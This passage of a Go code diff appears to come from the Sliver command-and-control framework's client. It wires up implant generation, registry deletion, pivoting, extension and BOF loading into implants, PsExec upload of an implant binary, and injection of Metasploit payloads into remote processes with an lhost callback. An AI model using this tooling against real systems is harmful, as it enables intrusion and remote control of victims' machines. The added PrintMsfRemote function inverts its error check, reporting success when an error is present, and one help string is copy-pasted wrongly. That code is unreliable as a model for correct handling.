f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1379,6 +1454,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1438,6 +1515,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1552,6 +1631,24 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
// [ Filesystem ] ---------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.MvStr,
|
||||
Help: "Move or rename a file",
|
||||
LongHelp: help.GetHelpFor([]string{consts.MvStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("src", "path to source file")
|
||||
a.String("dst", "path to dest file")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
err := filesystem.MvCmd(ctx, con)
|
||||
return err
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.LsStr,
|
||||
Help: "List current directory",
|
||||
@@ -2067,6 +2164,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("k", "kill", "", "kill a beacon")
|
||||
f.Bool("K", "kill-all", false, "kill all beacons")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("f", "force", false, "force killing of the beacon")
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -2272,6 +2370,25 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("o", "hostname", "", "remote host to write values to")
|
||||
},
|
||||
})
|
||||
registryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RegistryDeleteKeyStr,
|
||||
Help: "Remove a registry key",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("registry-path", "registry path")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
registry.RegDeleteKeyCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.String("H", "hive", "HKCU", "registry hive")
|
||||
f.String("o", "hostname", "", "remote host to remove value from")
|
||||
},
|
||||
})
|
||||
registryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RegistryListSubStr,
|
||||
Help: "List the sub keys under a registry key",
|
||||
@@ -2405,6 +2522,24 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
pivotsCmd.AddCommand(&grumble.Command{
|
||||
Name: "graph",
|
||||
Help: "Get details of a pivot listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, "graph"}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("i", "id", 0, "id of the pivot listener to stop")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
pivots.PivotsGraphCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ WireGuard ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
|
||||
@@ -109,7 +109,7 @@ func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname strin
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
outFilePath, _ = ioutil.TempFile("", outFile)
|
||||
}
|
||||
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -161,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
|
||||
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
|
||||
|
||||
var oldState *terminal.State
|
||||
var oldState *term.State
|
||||
if !noPty {
|
||||
oldState, err = terminal.MakeRaw(0)
|
||||
oldState, err = term.MakeRaw(0)
|
||||
log.Printf("Saving terminal state: %v", oldState)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save terminal state\n")
|
||||
@@ -195,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
|
||||
if !noPty {
|
||||
log.Printf("Restoring terminal state ...")
|
||||
terminal.Restore(0, oldState)
|
||||
term.Restore(0, oldState)
|
||||
}
|
||||
|
||||
log.Printf("Exit interactive")
|
||||
|
||||
@@ -33,8 +33,8 @@ import (
|
||||
|
||||
// MsfInjectCmd - Inject a metasploit payload into a remote process
|
||||
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -49,15 +49,23 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
|
||||
if pid == -1 {
|
||||
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -90,6 +98,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// PrintMsfRemote - Print the results of the remote injection attempt
|
||||
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
|
||||
|
||||
if msfRemote.Response == nil {
|
||||
con.PrintErrorf("Empty response from msf payload injection task")
|
||||
return
|
||||
}
|
||||
if msfRemote.Response.Err != "" {
|
||||
con.PrintInfof("Executed payload on target")
|
||||
} else {
|
||||
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
|
||||
}
|
||||
}
|
||||
@@ -25,14 +25,15 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MsfCmd - Inject a metasploit payload into the current remote process
|
||||
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -46,12 +47,21 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
@@ -63,7 +73,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if msfTask.Response != nil && msfTask.Response.Async {
|
||||
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, msfTask)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMsfRemote(msfTask, con)
|
||||
})
|
||||
con.PrintAsyncResponse(msfTask.Response)
|
||||
} else {
|
||||
con.PrintInfof("Executed payload on target\n")
|
||||
PrintMsfRemote(msfTask, con)
|
||||
}
|
||||
}
|
||||
@@ -86,7 +86,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("No profile found for name %s\n", profile)
|
||||
return
|
||||
}
|
||||
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
|
||||
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
|
||||
filename := randomString(10)
|
||||
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
|
||||
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
|
||||
|
||||
@@ -56,7 +56,7 @@ The structure is the following one:
|
||||
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
|
||||
- `init`: the initialization function name (if relevant, can be omitted)
|
||||
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
|
||||
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
|
||||
The `type` of an argument can be one of the following:
|
||||
|
||||
|
||||
@@ -34,7 +34,11 @@ import (
|
||||
|
||||
// ExtensionsCmd - List information about installed extensions
|
||||
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
PrintExtensions(con)
|
||||
if 0 < len(getInstalledManifests()) {
|
||||
PrintExtensions(con)
|
||||
} else {
|
||||
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtensions - Print a list of loaded extensions
|
||||
|
||||
@@ -98,7 +98,7 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
|
||||
}
|
||||
|
||||
// Install an extension from a .tar.gz file
|
||||
// InstallFromFilePath - Install an extension from a .tar.gz file
|
||||
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
@@ -151,14 +151,20 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, artifactPath)
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(artifactDir, 0o700)
|
||||
err := os.MkdirAll(artifactDir, 0o700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
|
||||
@@ -31,6 +31,7 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
@@ -38,11 +39,13 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
// ManifestFileName - Extension manifest file name
|
||||
ManifestFileName = "extension.json"
|
||||
)
|
||||
|
||||
@@ -56,6 +59,7 @@ type ExtensionManifest struct {
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
@@ -82,7 +86,7 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta
|
||||
filePath := ""
|
||||
for _, extFile := range e.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetExtensionsDir(), cmdName, extFile.Path)
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -105,15 +109,15 @@ func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
if CmdExists(extCmd.Name, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
if CmdExists(extCmd.CommandName, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
return
|
||||
}
|
||||
ExtensionRegisterCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
}
|
||||
|
||||
// ParseExtensions - Parse extension files
|
||||
// LoadExtensionManifest - Parse extension files
|
||||
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
@@ -169,8 +173,9 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
helpMsg := extCmd.Help
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.CommandName,
|
||||
Help: helpMsg,
|
||||
Name: extCmd.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCmd(extCtx, con)
|
||||
@@ -178,11 +183,11 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
// f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
if len(extCmd.Arguments) > 0 {
|
||||
if 0 < len(extCmd.Arguments) {
|
||||
// BOF specific
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var (
|
||||
@@ -190,12 +195,15 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
defaultValue grumble.ArgOption
|
||||
)
|
||||
switch arg.Type {
|
||||
case "int", "short":
|
||||
case "int", "integer", "short":
|
||||
argFunc = a.Int
|
||||
defaultValue = grumble.Default(0)
|
||||
case "string", "wstring", "file":
|
||||
argFunc = a.String
|
||||
defaultValue = grumble.Default("")
|
||||
default:
|
||||
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
|
||||
return
|
||||
}
|
||||
if arg.Optional {
|
||||
argFunc(arg.Name, arg.Desc, defaultValue)
|
||||
@@ -212,27 +220,26 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
con.App.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
|
||||
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Try to find the extension in the loaded extensions
|
||||
if len(session.Extensions) == 0 {
|
||||
if checkCache {
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
con.PrintErrorf("List extensions error: %s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
return errors.New(extList.Response.Err)
|
||||
}
|
||||
extensionList = extList.Names
|
||||
} else {
|
||||
extensionList = session.Extensions
|
||||
}
|
||||
depLoaded := false
|
||||
for _, extName := range extensionList {
|
||||
@@ -248,7 +255,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
|
||||
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
@@ -258,31 +265,17 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
|
||||
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
|
||||
return errRegister
|
||||
}
|
||||
// Update session info
|
||||
if filepath.Ext(binPath) != ".o" {
|
||||
// Don't update session for BOFs, we don't cache them
|
||||
// on the implant side (yet)
|
||||
// update the Session info
|
||||
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
Extensions: extensionList,
|
||||
SessionID: session.ID,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
|
||||
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.Name,
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: session.OS,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
@@ -295,10 +288,10 @@ func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest,
|
||||
return nil
|
||||
}
|
||||
|
||||
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
|
||||
depExt, f := loadedExtensions[depName]
|
||||
if f {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
|
||||
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
depExt, ok := loadedExtensions[depName]
|
||||
if ok {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -306,23 +299,31 @@ func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *g
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return registerExtension(con, depExt, depBinData, session, ctx)
|
||||
return registerExtension(goos, depExt, depBinData, ctx, con)
|
||||
}
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
|
||||
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
callExtension *sliverpb.CallExtension
|
||||
err error
|
||||
extensionArgs []byte
|
||||
extName string
|
||||
entryPoint string
|
||||
)
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ext, ok := loadedExtensions[ctx.Command.Name]
|
||||
if !ok {
|
||||
@@ -330,23 +331,15 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
if err = loadExtension(ctx, session, con, ext); err != nil {
|
||||
checkCache := session != nil
|
||||
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Failed to read extension file: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -361,7 +354,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Beacon Object File -- requires a COFF loader
|
||||
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
con.PrintErrorf("BOF args error: %s\n", err)
|
||||
return
|
||||
}
|
||||
extName = ext.DependsOn
|
||||
@@ -370,13 +363,14 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Regular DLL
|
||||
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
extensionArgs = []byte(extArgs)
|
||||
extName = ext.Name
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
@@ -385,21 +379,39 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
con.PrintErrorf("Call extension error: %s\n", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
if callExtResp.Response != nil && callExtResp.Response.Async {
|
||||
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, callExtResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
})
|
||||
con.PrintAsyncResponse(callExtResp.Response)
|
||||
} else {
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtOutput - Print the ext execution output
|
||||
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
|
||||
if extName == commandName {
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
} else {
|
||||
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
|
||||
}
|
||||
if 0 < len(string(callExtension.Output)) {
|
||||
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
if len(callExtension.Output) > 0 {
|
||||
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(callExtension.Output)
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
@@ -414,6 +426,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
|
||||
// Parse BOF arguments from grumble
|
||||
for _, arg := range ext.Arguments {
|
||||
switch arg.Type {
|
||||
case "integer":
|
||||
fallthrough
|
||||
case "int":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
err = argsBuffer.AddInt(uint32(val))
|
||||
|
||||
@@ -81,6 +81,10 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Then we have a filter on the end of the path
|
||||
remotePath = baseDir
|
||||
filter = potentialFilter
|
||||
} else {
|
||||
if !strings.HasSuffix(remotePath, "/") {
|
||||
remotePath = remotePath + "/"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
